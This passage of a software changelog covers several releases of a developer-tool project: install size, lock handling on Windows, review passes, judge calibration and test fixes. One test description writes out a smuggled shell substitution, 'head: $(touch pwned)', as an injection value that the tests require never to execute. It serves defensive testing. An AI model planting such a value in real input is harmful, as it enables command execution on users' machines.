docs/designs/PLAN_TUNING_V0.md documents signal_events, contributing_events and the per-day bound in the profile schema, including why the bound ignores session_id.

TODOS.md: the #2623 entry now covers only its remaining Gate 1 work, the {skill}-{slug} hinted fallback, tracked as #3442.

Tests

test/gstack-developer-profile.test.ts: contributing_events counts unique rows when one answer writes two dimensions, and is all zero for an answer that matches no signal. The bound equals the signal map's largest delta. Five answers on one day move a dimension by exactly the bound in both directions, whether they carry one session_id, five different ones, the literal SESSION_ID placeholder, or one review logged by both the hook and the agent. The day is the UTC day of ts even when the machine's zone is west of UTC, and a ts without a zone, T- or space-separated, is read as UTC. --trace prints the clamped days and a total that matches --derive, and replaces control characters. A constructor choice, a null line and array-valued question_id or user_choice rows are ignored. Rows whose ts is not ISO 8601 (TS, junk 1, a number) share one undated bucket and add no days to days_span. Negative controls: the same answers on separate days, a second day after a capped first day, and an answer pair that nets out are not clamped. The original positive tests fail against the old bin; the day-bound, constructor and control-character tests fail against the per-session version; a one-sided clamp fails the bound tests, and local-day bucketing fails the UTC tests.

The test helper logQuestion sets GSTACK_QUESTION_LOG_NO_DERIVE=1, so the background derive can't race a test's own --derive (from #2625).

Gate integrity

No test expectation, threshold, budget, timeout, trial count or case kind changed.

[1.91.232.0] - 2026-10-26

The setup-browser-cookies workflow judge now has a preregistered calibration corpus, and its structured-output calibration is recorded as held, so the judge stays on today's request (GSTA-91). In train-4 gate 40173759210, the cookie judge (claude-sonnet-5-5, free-text transport) returned JSON with an unescaped quote. The repo's fix for that shape is the JSON-schema transport, and test/fixtures/judge-calibration/README.md lets a configuration switch only after a calibration lands. The cookie configuration had no corpus until now. Its comparison-1 run removed the parse errors (old 2 of 144 samples, new 0 of 72) and matched or improved every other measure. It is held on one landing condition: a new false pass on a07. a07 scored 4/4/4 on all three new samples and on all three old-b samples. old-a's a07 panel is incomplete because one old sample returned invalid JSON (both valid old-a a07 samples also scored 4/4/4), and false passes are counted against old-a alone, so the result counts against the new request only.

Tests

test/fixtures/judge-calibration/cookie-workflow/: 24 items. p01 is the production bundle (buildCookieWorkflowJudgeInput); a02 and a05 are real earlier revisions; the rest are hand-edited variants rendered by the same builder. Labels were preregistered and committed before any request with the schema was sent. A separate run (openai/gpt-6.1-sol) then labeled every item blind, and a third reviewer (google/gemini-4-argon) adjudicated the two disagreements: a01 kept pass, a08 changed to fail. runs/ holds every sample and the result. The cost was 216 calls and $2.81, priced in manifest.json before dispatch as a separately funded entry.

scripts/judge-calibration-configs.ts: the cookie-workflow configuration builds prompts with buildWorkflowJudgePrompt(COOKIE_WORKFLOW_JUDGE, …) and uses the eval's median floors of 4/3/4. Its new request differs from the old one only by WORKFLOW_JUDGE_RESPONSE_SCHEMA.

test/judge-calibration.test.ts covers the new configuration and its pass rule, including the actionability floor. The wiring test now requires the cookie registration to send the schema exactly when the recorded cookie calibration lands. It doesn't land, so the registration stays unchanged and 15 workflow registrations use the schema. The cookie registration may only spread COOKIE_WORKFLOW_JUDGE, so the calibrated request stays the one production sends.

Two new free tests: the calibration builds byte-for-byte the prompt the cookie eval sends, and analyze() reproduces the committed result from its labels, samples, stop record and request options.

Gate integrity

No judge request, rubric, threshold, sample count, landing rule or case changed. The cookie judge keeps its free-text request. No gate exception is proposed.

[1.91.231.0] - 2026-10-26

A fresh install is about 520 MB smaller: ./setup installs production dependencies only. Setup ran bun install without --production, so every user also got the test and eval toolchain from devDependencies, mostly the Claude Agent SDK's native binaries (both the glibc and musl builds on Linux, ~440 MB). Measured on a clean Ubuntu 24.04 container with a cold Bun cache (4 vCPU, two runs each): node_modules goes from 1,094 MB to 572 MB, the checkout from 1.74 GB to 1.22 GB, and the whole install with Chromium from 2.42 GB to 1.90 GB. ./setup took 24.6 s and 20.0 s before, 21.1 s and 18.9 s after.

Changed

setup: every dependency install (before the build, the Codex render and each host render) goes through one install_runtime_deps function: bun install --production --frozen-lockfile. Bun treats --production as frozen, so when bun.lock is behind package.json (a fork or a local edit) it refreshes the lockfile with bun install --lockfile-only and installs production-only again. bin/gstack-browser-ensure installs the same way when node_modules is missing, and its failure line suggests the production install rather than a full bun install.

package.json: @anthropic-ai/sdk (loaded by gstack-distill-free-text, /plan-tune's dream cycle) and xterm and xterm-addon-fit (copied into the browser extension by bun run build) move to dependencies, because a user install runs them. The Claude Agent SDK, TypeScript, Prettier and @types/bun stay dev-only.

Contributors and CI keep the full install. ./setup treats a checkout that already has the dev toolchain (node_modules/typescript) as a contributor's and runs the full bun install --frozen-lockfile there, so dev packages keep following bun.lock after a pull (a production install would report "no changes" and leave them at old versions). bin/dev-setup now always runs bun install (it skipped it when node_modules existed, which would have left a checkout first set up by ./setup without the dev toolchain). CI workflows already run bun install --frozen-lockfile themselves. CONTRIBUTING.md says which command installs what.

If you already have gstack installed

An existing install keeps its dev dependencies and keeps getting the full install, because it already has the dev toolchain. To get the space back: cd ~/.claude/skills/gstack && rm -rf node_modules && bun install --production --frozen-lockfile && rm -rf "$(bun pm cache)"/@anthropic-ai/claude-agent-sdk*. The last step matters: Bun hardlinks node_modules into its global cache, so the Agent SDK's binaries stay on disk until their cache entries go. Don't do this in a checkout you develop gstack in.

Tests

test/setup-production-deps.test.ts: install_runtime_deps, sliced out of setup and run against a recording bun that models Bun's frozen --production, passes --production on the frozen-lockfile call, refreshes a stale lockfile before retrying, and stops setup when the refresh fails. A checkout with the dev toolchain gets the full frozen install, and a failed full install stops setup too. A walk of bun.lock's production closure (with required-peer and optional-peer controls) proves no production dependency brings in typescript, the marker setup checks. The real-Bun rows run with HOME, XDG_CONFIG_HOME and BUN_CONFIG_* isolated, so a developer's global .bunfig.toml cannot change them. Run with the real Bun on local file: packages: a fresh install leaves out devDependencies, a later production install keeps the ones a full install added, and a stale lockfile is refreshed while the install stays production-only. No other line in setup calls bun install (the pre-change line is the negative control). bin/dev-setup's install block, run over an existing node_modules, still calls plain bun install. A scan of every shipped file (bin, lib, browse/src, design/src, make-pdf/src, hosts, extension, the resolvers, and the scripts setup and the build call by path) finds no import or require of a package outside dependencies. Modules the shipped code reaches by relative import (gen-skill-docs' scripts/ helpers, and the test/helpers/providers modules gstack-model-benchmark loads) are scanned too. Negative controls: a planted Agent SDK import is caught, including one split over several lines and a re-export; a type-only import is not; and moving @anthropic-ai/sdk back to dev flags gstack-distill-free-text. The packages bun run build copies out of node_modules are production dependencies.

test/gstack-browser-ensure.test.ts: with node_modules missing, the preflight runs the frozen production install, refreshes a stale lockfile before retrying, and ends a failed install in BROWSER_UNAVAILABLE with a production-install fix line.

The install fixtures' stub bun (test/helpers/install-fixture.ts, test/helpers/claude-overlay-fixture.ts, test/team-mode.test.ts) now matches install --production --frozen-lockfile. The team-mode stub fails on any other argv; the two helper stubs hand other commands to the real bun, so for them the new argv is a match, not a regression check.

Gate integrity

No threshold, budget, timeout, trial count, case kind or assertion was weakened. The four stub patterns (in three files) changed to the new argv only.

[1.91.230.0] - 2026-10-26

Changed

The archetype the user picks on the /design-shotgun board now reaches /design-html. Captions name the archetype id (classic-hero, long-form-story, minimal-conversion, comparison). On approval, approved.json also gets the chosen archetype and its sections outline, added with the Edit tool so no free text reaches a shell command. /design-html reads both in Case A, and the craft section uses them as given instead of choosing again or asking.

Accepted craft exceptions persist. /design-html's finalized.json records each accepted CRAFT_CHECK finding in craft_exceptions (id, count, reason) and carries forward earlier ones. A later run passes that file with --accepted, so a finding the user already accepted is reported as accepted instead of flagged again. A higher count is still flagged as a new issue.

Added

gstack-design-craft --accepted <finalized.json>: a finding whose id an exception covers, at no more than the accepted count, prints CRAFT_ACCEPTED: <id> <count> <reason> and doesn't fail the check. CRAFT_RESULT adds the accepted count. Exit codes: 0 when only accepted findings remain, 1 for unaccepted ones, and 2 for an unknown argument or a missing, unreadable or malformed exceptions file. A bad exceptions file still gets the full check with nothing accepted, after a warning, so a broken record can't switch the craft check off. A finalized.json with no craft_exceptions field, written before this change, means no exceptions.

Tests

design-html-slop-gate is now selected by changes to lib/design-craft.ts and bin/gstack-design-craft (test/helpers/touchfiles-data.ts), which it already exercised but did not list.

test/design-craft.test.ts also covers accepted exceptions: count coverage and overflow, duplicate ids carried forward (the highest count wins), a bad exceptions file still checked in full, the finalized.json block in design-html/SKILL.md parsed by the same reader the CLI uses, rejected malformed lists, CLI exit codes with --accepted, and the archetype handoff contract (the same four ids in /design-shotgun and the craft section, the approved.json step, Case A and the craft section's no-re-ask rule).

[1.91.229.0] - 2026-10-26

The OpenSSF Scorecard workflow uploads its results with github/codeql-action/upload-sarif 4.39.0 (from 4.38.3), recreated from Dependabot's #3307. Dependabot's branch can't take a version stamp at merge time, so the same one-line change ships from a crew branch. The new pin 6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee is the commit that the annotated tag v4.39.0 points to in github/codeql-action, and GitHub shows that commit as verified. 4.39.0's one breaking change raises the minimum CodeQL bundle to 2.20.7, which applies to init and analyze. This workflow uses only upload-sarif with Scorecard's own SARIF file.

Changed

.github/workflows/scorecard.yml: upload-sarif pinned to 6f2ac81f… (# v4.39.0), byte-for-byte the change in #3307.

[1.91.228.0] - 2026-10-26

Skills start at once on Windows again: the workflow lease lock no longer depends on symlinks (#3330). bin/gstack-lease took its lock with ln -s "<holder token>" .lock. In Git for Windows' default symlink mode (MSYS unset), ln -s cannot link to a target that does not exist, so the lock was never taken. Every skill start then waited out all 300 tries (0.1 s apart, plus process start costs) before gstack-skill-start printed anything, and still wrote no lease. One report measured 499 s per skill start. The error also blamed a "live process" with an empty pid.

Fixed

bin/gstack-lease: the lock is now a .lock directory taken with mkdir, which is atomic on every host gstack runs on, with an owner file naming the holder's pid and start identity. A taker writes a claim (.lock.claim.<pid>) before its mkdir and renames it in as the owner after, so a lock left ownerless by a taker killed between the two steps is broken once no claimant lives and the lock is at least 2 s old and unchanged while it was checked (a live taker between its two steps is never mistaken for a crash, and a new lock made meanwhile is never removed). A claim that records no start identity (Git Bash has none) is abandoned after 2 minutes, so a reused pid cannot keep an orphan forever. An owner that names no valid pid (0, zero-padded or not a number) counts as a dead holder, an owner file that exists but cannot be read keeps the lock, and an empty owner, a stray file at .lock, or an ownerless lock whose mtime is a minute or more in the future (clock skew) counts as ownerless instead of wedging every skill start. A lock is removed by renaming it aside first, so nobody sees it half-removed; once renamed it is released even if the renamed copy cannot be deleted, and touch prunes leftover copies and claims over 2 minutes old whose claimant is gone or recorded no identity. A late taker never overwrites an owner already in the lock it made. A waiter no longer writes a claim or runs mkdir while the lock is visibly held, and a live holder that never lets go bounds the wait at 300 tries or 30 s, whichever comes first (a non-numeric GSTACK_LEASE_LOCK_TRIES falls back to 300 instead of looping forever). Stale-holder semantics are unchanged: a lock is broken only when its holder is dead or its pid now belongs to another process, breakers still serialize on .lock.break and reread before removing, and unlock removes only the caller's own lock. A symlink .lock left by an older gstack is still read and broken the same way, and it excludes the new lock at the same path. The reverse does not hold: an older gstack's ln -s onto the directory lock links inside it, so a process that started before an upgrade of the same checkout can briefly share the lock (documented as a known limit, with a taker stalled over 2 minutes mid-take on a host without start identities).

A dead holder's lock that cannot be renamed aside (a Windows file in use) is removed in place under .lock.break, and when that fails too the try is counted, so touch ends with exit 3 instead of spinning without sleeping. The message no longer calls a dead holder live.

The 120-minute prune in touch no longer reaches into the lock: it removed the owner file of a holder that resumed past the window, which then left its own lock behind.

When the lock cannot be taken although nobody holds it, touch now fails after ten quick retries with gstack-lease: cannot take the lease directory lock <path> instead of waiting out every try and naming an empty pid. gstack-skill-start stays fail-open, as before.

docs/capy-install.md describes the directory lock.

Tests

test/gstack-lease-git-bash.test.ts (new, in the curated windows-free-tests lane, launched through lib/script-invocation.ts, so Git Bash on windows-latest): touch with the default 300 tries takes the lock on its first try (no sleep between tries), writes its lease and leaves no lock. On windows-latest the old bin fails this case; a host whose ln -s fails like Git Bash's still takes the lock (with a control that the shim really fails ln -s); a lock held by a live Git Bash process is kept and named, and a dead holder's lock is broken. The last two fail against the old bin.

test/gstack-lease.test.ts: the dead-holder, live-holder and dead-breaker cases run against both the directory lock and the legacy symlink lock. The race cases inject at mkdir instead of ln. New cases: a lock held by a running gstack-lease excludes a second taker, which names it; 16 parallel touches all land and leave nothing behind; an ownerless lock is kept while a claimant lives and broken once none does; a lock that cannot be taken while nobody holds it fails without sleeping between tries. Seven of these fail against the old bin.

From /ship's coverage audit and review: the 16 parallel touches now also prove no two are inside the lock at once (a mutant whose mkdir always succeeds fails it); the exclusion case holds the lock until the test releases it instead of for a 3 s sleep; a young ownerless lock is kept and malformed locks (empty owner, pid 0 or 00, a non-numeric owner, a stray file, an mtime an hour ahead) are broken; an identity-less claim older than 2 minutes neither keeps an ownerless lock nor survives touch while an old claim with a live identity is honored; an unreadable owner file keeps the lock; --help prints the whole usage again; leftover renamed-aside copies are pruned; a live holder bounds touch by the 30 s deadline with the default and with a non-numeric tries value, without one mkdir on the held lock; the prune keeps a resumed holder's lock; a renamed-aside lock that cannot be deleted never takes a new taker's lock with it; a dead holder's lock that cannot be renamed aside ends touch instead of spinning. Each case that pins a fix fails against the bin before that fix. Also covered: a live or ownerless .lock.break, a failed owner rename, a lock released between a failed take and its check, and unlock's fallback. The Git Bash case now also checks that the live holder still owns the lock after a blocked touch.

Gate integrity

No threshold, budget, timeout, trial count, case kind or assertion was weakened. Three existing race tests moved their fault injection from ln to mkdir, because the lock no longer calls ln. Their assertions are unchanged. Under /ship review, the exclusion case's wait for the holder's owner file rose from 2 s to 10 s and its fixed 3 s hold became a release file (no assertion changed), the ownerless-lock cases backdate their planted lock by a minute because an ownerless lock is now broken only once 2 s old (their assertions are unchanged; the new young-lock case pins the guard), and the exclusion and parallel cases got an explicit 30 s test timeout instead of Bun's 5 s default.

[1.91.227.0] - 2026-10-26

Windows: gstack's record bins stop losing review, question, learning and timeline records when Git Bash path conversion is off (#3415). Since GSTA-56 every shell bin started Bun with --config=/dev/null. Native bun.exe cannot open /dev/null: it exits 1 with EINVAL on Bun 1.3.10, 1.4.2 and 1.4.4 (measured on windows-latest). Git Bash hides this by rewriting the argument to nul, but only while MSYS path conversion is on. With it off (MSYS_NO_PATHCONV set to any value, even empty; MSYS2_ARG_CONV_EXCL=*; or Cygwin), gstack-review-log, gstack-question-log and gstack-learnings-log exited 1 with nothing written, and gstack-timeline-log exited 0 with nothing written.

Fixed

40 shipped shell files (the bash bins, the Claude hook wrappers, setup, scripts/build-cso.sh and one migration) define GSTACK_BUN_CONFIG once and start Bun with --config="${GSTACK_BUN_CONFIG:-/dev/null}". The value is NUL only when OSTYPE is msys or cygwin (Git Bash, MSYS2 and Cygwin, the check gstack-doctor already uses) and cygpath is on PATH; everywhere else it is /dev/null. The cygpath check is a builtin command -v, so it forks nothing. It means an OSTYPE=msys inherited by a Linux or macOS bash keeps /dev/null, instead of passing a relative NUL that Bun there resolves to a file in the repository. Bun 1.4.2 and later, the version gstack tests against, read NUL as an empty config whether or not conversion is on. Bun 1.3.10 on Windows exits 1 on --config=NUL and on the lowercase nul that Git Bash used to produce alike (measured from PowerShell on windows-latest; the #3085 entry recorded a panic). Versions between 1.3.3 and 1.4.1, which setup and gstack-doctor only warn about, were not measured. The :-/dev/null default covers a call that loses its definition: it still passes /dev/null, so POSIX is unchanged and Windows fails loudly as before, and never reads the repository's bunfig.toml. bin/gstack-codex-probe is sourced into the caller's shell, so it defines the variable inside the one function that starts Bun and still runs nothing at source time.

bin/gstack-timeline-log and gstack-developer-profile --log-session: invalid input still exits 0 with nothing logged (the hook-path contract). Their validators now print valid or invalid, and any non-zero exit, which is Bun itself failing, is reported on stderr and returned instead of being skipped as invalid. The verdict is not an exit code because a Bun crash on Windows exits 3. When stamping a missing ts fails, gstack-timeline-log keeps the original event instead of appending an empty line. Their production callers (gstack-skill-start, gstack-skill-end and the /office-hours templates) still discard stderr and the exit status, so the report shows only when the bin is run directly.

Unchanged: bun shebangs keep --config=/dev/null because a shebang cannot name a per-platform path, and skill prose (templates and resolvers) keeps it because test/bun-entry-isolation.test.ts holds skill sources to the literal spelling. TypeScript spawns keep bunIsolationArgs(), and scripts/ubicloud/ keeps /dev/null because it runs on Linux.

Not covered: callers that hand bun.exe a POSIX script path built from pwd or $HOME (the Claude hook wrappers, autoplan/bin/phase-publication-hook, plan-ceo-review/bin/mode-handoff-hook, and some gstack-doctor, gstack-codex-probe, setup and migration calls) only got the config spelling. With path conversion off they may still fail on the /c/... script path itself. The record bins convert their own paths with cygpath -m; the others were not verified on Windows with conversion off. Bun shebang entry points and Bun calls in skill prose still pass the literal --config=/dev/null, so with conversion off they fail with EINVAL as before. One example is the outside-voice probe in scripts/resolvers/outside-voice.ts, which then reports Claude as not installed.

Tests

test/bun-config-shell-bins.test.ts (new; force-included in the Windows lane):

On every platform, the four record bins run through lib/script-invocation.ts with conversion off in a repository whose bunfig.toml preload and .env are hostile. Each writes exactly one record, and neither the preload nor the .env state root takes effect. Invalid timeline input still exits 0 silently.

On POSIX hosts a simulated Windows bash (OSTYPE=msys, a cygpath, and a bun stand-in that rejects /dev/null with EINVAL as bun.exe does) reproduces the bug: on main the four bins write nothing and the timeline control exits 0 (5 failures); with the fix they pass. The controls, without OSTYPE=msys, show each bin exits non-zero with nothing written.

An inherited OSTYPE=msys with no cygpath, in a repository that commits a file named NUL with a preload, leaves each bin on /dev/null: the record is written and the preload never runs. This fails on the first version of this fix (4 failures).

gstack-developer-profile --log-session reports a rejected config on stderr and exits non-zero, and still skips invalid input silently. This fails on main.

A bun that exits 3 with no output, the way a Bun crash exits on Windows, makes both bins report and exit non-zero instead of skipping the event as invalid input. This fails with an exit-code verdict.

test/bun-isolation-launch.test.ts: the shell-file spelling stays isolated with conversion off, and a win32-only control shows that the literal --config=/dev/null fails there with EINVAL.

test/bun-entry-isolation.test.ts: shipped shell files must use the fail-closed spelling and define GSTACK_BUN_CONFIG with the canonical line before first use. A local definition covers only the rest of its function. Skill sources keep the literal spelling.

test/learnings-injection.test.ts, browse/test/learnings-injection.test.ts and test/setup-hook-canonical-paths.test.ts now anchor on the new spelling. The two learnings-injection files also check that the anchored bun -e block exists. Before, a missing anchor sliced the script's last character and the negative assertions passed without checking anything.

Gate integrity

test/bun-entry-isolation.test.ts is strengthened. On POSIX the required shell spelling still resolves to /dev/null.

Now offenders: the literal --config=/dev/null in a shipped shell file, and an undefined or redefined GSTACK_BUN_CONFIG.

The shell-caller detector also skips a --config value before deciding whether a call starts a program, so bun --no-env-file --config=<anything> -e no longer passes unchecked. The tree has no such call.

Negative controls, each of which fails the check: the old spelling, a variable without the default, an empty --config=, a missing, late or altered definition, a local definition used from another function, and a reverted bin.

No threshold, budget, timeout, trial count or case kind changed.

[1.91.226.0] - 2026-10-26

/review can re-review just its own fixes after a fixing pass, under the same rules as /ship (#3339). Before, every /review fix cycle reran the whole review over the whole branch, so a large branch could hit the three-cycle stop on findings in code the earlier passes had already read. Now the pass after an edited pass starts with gstack-review-log --start review --fix-range and its checklist, specialists and QA read only what changed since that pass. The Step 4.8 adversarial review still reads the whole branch on every pass, because its rows carry their own freshness. A narrowed pass is never the final review: when it makes no edits, /review runs one full pass before writing the final record, and a fix-range record is never CURRENT. Garry's "do it" on 2026-10-24 for a fix-range re-review with a final full pass covers it.

Changed

review/SKILL.md.tmpl Step 3: the first pass always starts full. The pass right after an edited pass starts with --start review --fix-range, and wherever that pass sets DIFF_BASE outside Step 4.8 it uses the printed FIX_BASE=<sha> instead. Step 4.8 and every other <base> use (state-matrix detection, the gate, banned-terms and slop scans, the queue check) keep the base branch. State-matrix detection builds origin/<base> from its argument, and the slop scan diffs <base>...HEAD, which is empty while /review's fixes are uncommitted. If the logger refuses (for example, the first pass read uncommitted work, so no commit marks what it read), the pass starts full.

Step 5.8: an edited pass now saves its own record with converged:false before the repeat, because the fix-range start takes its base from that record. Before, only the final pass was logged. Step 5.0 never treats this invocation's own records as prior reviews, so a defect the user skipped this invocation is not suppressed on the next pass and still counts as unresolved. "No edits" fills the final record only after a full pass; after a fix-range pass it repeats Steps 3–5 with a full start. Each logged pass finishes its own REVIEW_START.

Nearby prose was tightened to pay for the growth (the slop-scan note, the Step 4.7 probe-reuse rule, the search-before-recommending list, the version-compare note, the final-report and Greptile lines). Every host's review SKILL.md shrank by 36 characters, and its size pin was lowered to match. The Claude skeleton is 80,581 bytes against its 80,900 cap.

Tests

test/review-fix-range.test.ts adds five cases. Two check the rendered rules: the first pass's start block has no --fix-range, only the pass after an edited pass narrows, FIX_BASE replaces only DIFF_BASE outside Step 4.8, a refusal falls back to a full start, the edited pass is logged before the repeat and kept out of Step 5.0, and a fix-range pass is never final. Three run /review's real order on every pass against the real logger: core start, then the Step 4.8 attempt's start and finish, then fixes in the working tree, then the core finish with the pass's own token, and never a commit. A committed first pass narrows the next repeat to the uncommitted fixes, and the following repeat is refused back to a full pass that is CURRENT. A zero-edit fix-range row is UNVERIFIED even if it were logged. A first pass over uncommitted work can't be narrowed.

test/review-workflow-clarity.test.ts: three expectations follow the new contract: the "No edits" marker, the edited pass saving its record with converged:false, and each pass finishing its own token instead of only the final one. The test formerly named "finish only the final core token without log-time capture" is now "each logged pass finishes its own core token without log-time capture". It still requires one --finish REVIEW_START, no --start review in Step 5.8 and no log-time token capture.

Gate integrity

One gate change to review: /review may narrow a repeat pass. Verdict: this does not weaken what the final review covers, because a narrowed pass can't be the final record. The logger never marks a fix-range row CURRENT, Step 5.8 requires a full pass after a zero-edit fix-range pass, Step 4.8 stays full, and Step 5.0 can't suppress this invocation's skipped defects through its own intermediate records. Mutation checks on the rendered skill, each caught by the suite:

letting a fix-range pass be final;

dropping the full-pass condition on "No edits";

narrowing every repeat;

dropping the refusal fallback;

narrowing the first pass;

not logging the edited pass;

logging after the repeat;

narrowing Step 4.8 and other base uses;

letting Step 5.0 read this invocation's records.

No threshold, budget, timeout, trial count or case kind changed. Size pins only went down.

[1.91.225.0] - 2026-10-26

/design-html builds landing pages around one visitor action and pages that look finished, without inventing proof; adapted from Elaya's design skills (GSTA-92). Freeform /design-html asked for purpose, audience and feel, then built. It never asked for the one action the page exists for or where the traffic comes from, and nothing caught a page that shipped with invented customers and numbers, a dead href="#", a scroll-listener reveal, 100vh, or no description, favicon or working skip link. Now every run reads a craft section at Step 1, and a free checker counts the tells at Step 4. Adapted from Elaya's ai-design-skills (landing-page-design, design-to-motion) and redesign-skill, MIT, © 2026 Elaya. Thank you, Elaya.

Changed

/design-html reads sections/craft.md on every run (Step 1). The spec opens with Surface: Persuade or Surface: other. A Persuade page (landing, pricing, waitlist, campaign, comparison) asks at most three multiple-choice questions (primary action, traffic source, published or reference) and states the rest in one Assumed: line; picks one of four archetypes with a reason; keeps the hero budget (one proof signal only when real proof exists, never a metric row) and chooses the rest of the page from the archetype and objections; gives the primary action real invalid, pending, failure and success states. Every page: claims (testimonials, logos, results, prices, guarantees) come only from the user, and missing proof is left out or marked [Needs proof: …]; illustrative data looks real; a ship floor scoped to full documents (title, description, favicon, share tags on shareable pages, og:image only from a supplied URL, a skip link that reaches <main>, landmarks, alt text, inline validation, no dead links, aria-current on route navigation); scale snapping with readability floors and the nested-radius rule; balanced line breaks; motion rules for the one authored moment (content visible without script, IntersectionObserver, cheap properties only, no scale(0), named curves, 100dvh).

Step 4 runs bin/gstack-design-craft after the Slop Gate, whether or not the detector is installed, with the gate's contract: one fix pass, one rerun, the rest accepted with a reason, once more when the refinement loop ends. The hand-off opens with a "Before this can ship" block: proof markers, production dependencies, exceptions, and every claim the check changed.

/design-shotgun: a landing, pricing or campaign screen's variants also differ in page archetype, keep the one primary action identical, and carry their section outline as a caption.

Added

bin/gstack-design-craft (lib/design-craft.ts): prints CRAFT_CHECK: <id> <count> <fix> per tell and CRAFT_RESULT: clean (exit 0) or <n> issue(s) (exit 1); exit 2 on a non-HTML, empty or unreadable file. Copy rules read decoded visible text; alert() counts only in scripts; head and navigation rules run only on a full document. Buzzwords report under the catalog's marketing-buzzword id.

NOTICE.md and licenses/MIT-elaya.txt. Not carried over, because they conflict with gstack's design rules: Elaya's fixed fonts (Geist and Poppins are on gstack's overused-display list), palette, spacing values and icon sets, gradient hero text, mandatory scroll reveals and tagline section, and the island nav.

Tests

test/design-craft.test.ts: every tell with its count; a finished page, inlined Pretext, a 100vh line with its 100dvh fallback, discount copy and in-page anchors stay clean; look-alike attributes, encoded markers, !important and reversed fallbacks; skip links judged by position and target in any language; the craft section's banned words and names all flagged; CLI exit codes.

design-html-slop-gate also requires the craft check to run once or twice; the design-html carve guard requires the craft section read.

[1.91.224.0] - 2026-10-25

/context-restore now says when commits landed after a checkpoint was saved, instead of offering finished steps as the plan. /context-save recorded the branch, a timestamp and the modified files, but not the commit, so a checkpoint saved before a step was committed came back with that step still listed under Remaining Work. Ported from #3316 by @soyames, with their commit kept.

Fixed

bin/gstack-slug --stamp-checkpoint also writes head:, the commit the save describes, next to remote:, project_root: and worktree:. A re-stamp replaces it rather than adding a second line.

/context-restore compares head: with HEAD before presenting. When commits landed after the save it prints how many and lists up to ten, and puts every Remaining Work item under Verify first. A saved commit that is not in this checkout's history (saved on another branch, rebased, reset, or not fetched) is reported the same way. A malformed head: is checked as 40 or 64 hex digits before any git command sees it, head: is read from the frontmatter only, and outside git the comparison uses the saved worktree: before project_root:. Checkpoints saved before this keep their usual sorting with a one-line note.

Tests

test/context-restore-head.test.ts runs the real save-path, stamp and head-check blocks from the generated SKILL.md files in fixture repos: unchanged, two commits landed, diverged after a reset, resumed from another branch, a nested linked worktree restored from outside git, a re-stamp after a new commit, pre-tracking, a head: that appears only in the body, and a head: $(touch pwned) that must never execute.

[1.91.223.0] - 2026-10-25

/plan-tune's inferred profile finally moves: a clicked answer is logged as the question's registered option key, not its label. #2623 showed every inferred dimension stuck at 0.5 on a 1,286-event log: the AskUserQuestion hook recorded labels like "A) Fix it now (recommended)", while the signal map that turns answers into dimension nudges is keyed by registered option keys like fix-now, so 0 of 1,286 answers matched. Now five hook-captured label answers to the registered architecture-finding question move architecture_care from 0.5 to 0.632, and --trace lists all five.

Fixed

bin/gstack-question-log: on a hook-captured event (source: hook) for a registered question_id, the clicked label is mapped to that question's registered option key before it is written, and the label is kept in a new choice_label field. A label in recommended is mapped the same way, so followed_recommendation compares keys. Ad-hoc and hook-<hash> ids and unmatched or ambiguous labels are written as given. Rows from other writers (the agent's own log call, auto-decide, Codex import, typed free text) are unchanged, because readers such as the plan-ceo-review auto-decide check match the full mode names those rows carry. Existing logs are not rewritten.

scripts/psychographic-signals.ts: new resolveOptionKey(question_id, label). It strips the A) selector and (recommended) suffix, then matches the label's leading words against the question's own options only: each key's own words (fix-now → "fix now") plus a short cue list ("Add to TODOs" → defer, "Ship as-is" → skip, "HOLD SCOPE" → hold). The longest cue wins and a tie stays unmapped.

Tests

test/plan-tune.test.ts: every registered option resolves from its own words, bare and as an A) … (recommended) label; 20 common phrasings, including the four plan-ceo-review mode names, map to their keys; negative controls (unregistered ids, a question with no options, a label naming no option, a mid-sentence cue, another question's key, a number that looks like a selector) stay unmapped. Two capture tests run the real bin: hook labels become keys with choice_label kept, while agent rows (including a HOLD SCOPE auto-decide row), ad-hoc ids, unmatched labels and free text are untouched, and a picked label follows a key recommendation. Both capture tests fail against the old bin.

Gate integrity

No test expectation, threshold, budget, timeout, trial count or case kind changed. Existing tests that pin label rows from the agent, auto-decide and Codex import paths pass unchanged.

[1.91.222.0] - 2026-10-25

Five flaky tests now fail only for real defects, and a judge reply that isn't valid JSON says so in its failure line (daily flaky-fix pass, GSTA-91). context-restore-fragment-match failed 0/3 on main cb99df4, although every run restored the right checkpoint: to find the checkpoint whose title matches, the agent often prints all three, and the case failed whenever another checkpoint's body appeared anywhere in the transcript. test/gstack-ff-update.test.ts counted every sleep 300 on the machine, so heartbeats from parallel test files changed its count (remote pregate at #3412's head: expected "1", received "3"). The GSTACK_CAPY=1 install-admission case in test/gstack-skill-start.test.ts makes ten gstack-skill-start spawns under bun's 5 s default timeout and took 3.6–5.7 s on a 4-core machine. The QA-only fixture's late scenarios mocked a 1000 ms capture budget but ran each attempt's real setup inside it. The setup-browser-cookies workflow judge in train-4 gate 40173759210 returned JSON with an unescaped quote in its reasoning, and the flake record read only "JSON Parse error: Expected '}'".

Fixed

test/helpers/context-restore-fragment.ts (new): fragmentRestoreVerdict reads only the agent's report (top-level assistant text and the final result), never tool output. The report must carry the payments checkpoint's body and no other checkpoint's body. test/skill-e2e-context-skills.test.ts uses it for the fragment-match case.

test/helpers/llm-judge.ts: when a judge response is not valid JSON, callJudge throws a SyntaxError that names the judge output, its stop reason and length, and the retained llm-judge-response-parse-error event. It still fails closed and parses no score; the request is unchanged.

Tests

test/context-restore-fragment-verdict.test.ts replays the three captured false reds from main (test/fixtures/context-restore-fragment-match-captures.json) as passes. Controls that must fail: captures rewritten to resume alpha or omega, synthetic runs that read and resume only alpha or omega, resume summaries that mix two checkpoints, and a payments body that appears only in tool output. Restoring the old any-byte surface fails all four positive controls. Focused paid runs of the case: 0/3 on main, 3/3 after (about $0.11 a trial).

test/llm-judge-frontier.test.ts replays the exact captured cookie-judge reply: it fails closed with no score, one request and the new diagnosis. It fails on the previous helper.

test/gstack-ff-update.test.ts: the reap case runs gstack-ff-update with a heartbeat interval unique to the test process and counts only sleepers of that interval, starting from zero. The old count failed with a loop starting unrelated sleep 300 processes beside it (expected "5", received "14"); the new one passes, and still fails when the bin stops reaping its sleeper.

